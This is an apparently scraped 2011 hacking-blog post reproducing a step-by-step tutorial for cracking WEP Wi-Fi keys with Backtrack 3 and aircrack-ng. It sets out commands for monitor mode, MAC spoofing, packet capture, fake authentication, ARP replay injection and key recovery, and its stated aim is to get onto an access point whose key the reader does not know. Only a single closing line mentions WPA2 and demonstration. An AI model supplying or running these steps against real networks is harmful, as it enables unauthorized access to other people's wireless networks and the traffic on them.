TIMOR SEI BELE TAMBA HAU LAMATA FREE HACKING: 2011

Jumat, 16 Desember 2011

LAMATA HACK

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Tutorial: Cracking WEP Using Backtrack 3

 This article will explan how to crack 64bit and 128bit WEP on many WIFI access points and routers using Backtrack, a live linux distribution. Your mileage may very. The basic theory is that we want to connect to an Access Point using WEP Encryption, but we do not know the key. We will attack the wifi router, making it generate packets for our cracking effort, finally cracking the WEP key. I have tested this technique on an IBM Thinkpad x60 and Acer 5672 and the WIFI Chipset in those machines work for sure.

Requirements:
I will assume that you have downloaded and booted into Backtrack 3. If you haven’t figured that part out, you probably shouldn’t be trying to crack WEP keys. Once Backtrack is loaded, open a shell and do the following:

Preparing The WIFI Card

First we must enable “Monitor Mode” on the wifi card. If using the Intel® PRO/Wireless 3945ABG chipset issue the following commands:
modprobe -r iwl3945
modprobe ipwraw
The above commands will enable monitor mode on the wireless chipset in your computer. Next we must stop your WIFI card:
iwconfig
Take note of your wireless adapter’s interface name. Then stop the adapter by issuing:
airmon-ng stop [device]
Then:
ifconfig down [interface]
Now we must change the MAC address of the adapter:
macchanger --mac 00:11:22:33:44:66 [device]
Its now time to start the card in monitor mode by doing:
airmon-ng start [device]
airmon-ngstart1.png

Attacking The Target

It is now time to locate a suitable WEP enabled network to work with:
airodump-ng [device]
airodumpwifi0.png
Be sure to note the MAC address (BSSID), channel (CH) and name (ESSID) of the target network. Now we must start collecting data from the WIFI access point for the attack:
airodump-ng -c [channel] -w [network.out] --bssid [bssid] [device]

airodumpoutput.png
The above command will output data collected to the file: network.out. This file will be fed into the WEP Crack program when we are ready to crack the WEP key.
Open another shell and leave the previous command running. Now we need to generate some fake packets to the access point to speed up the data output. Test the access point by issuing the following command:
aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]
aireplayfakeauth.png
If this command is successful we will now generate many packets on the target network so that we can crack the KEY. Type:
airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]
aireplaygenerateivs.png
This will force the access point to send out a bunch of packets which we can then use to crack the WEP key. Check your aerodump-ng shell and you should see the “data” section filling up with packets.
captureivs_0.png
After about 10,000-20,000 you can begin cracking the WEP key. If there are no other hosts on the target access point generating packets, you can try:
aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b [bssid] -h 00:11:22:33:44:66 [device]
aireplayattack2p.png
Once you have enough packets, you begin the crack:
aircrack-ng -n 128 -b [bssid] [filename]-01.cap
The “-n 128″ signifies a 128-bit WEP key. If cracking fails, try a 64-bit key by changing the value of N to 64.
crackng.png
Once the crack is successful you will be left with the KEY! Remove the : from the output and there is your key. So there you have it.
You can use these techniques to demonstrate to others why using WEP is a bad idea. I suggest you use WPA2 encryption on your wireless networks. Goodluck!wowwwwwwwww.....NICHO>>>>lamata...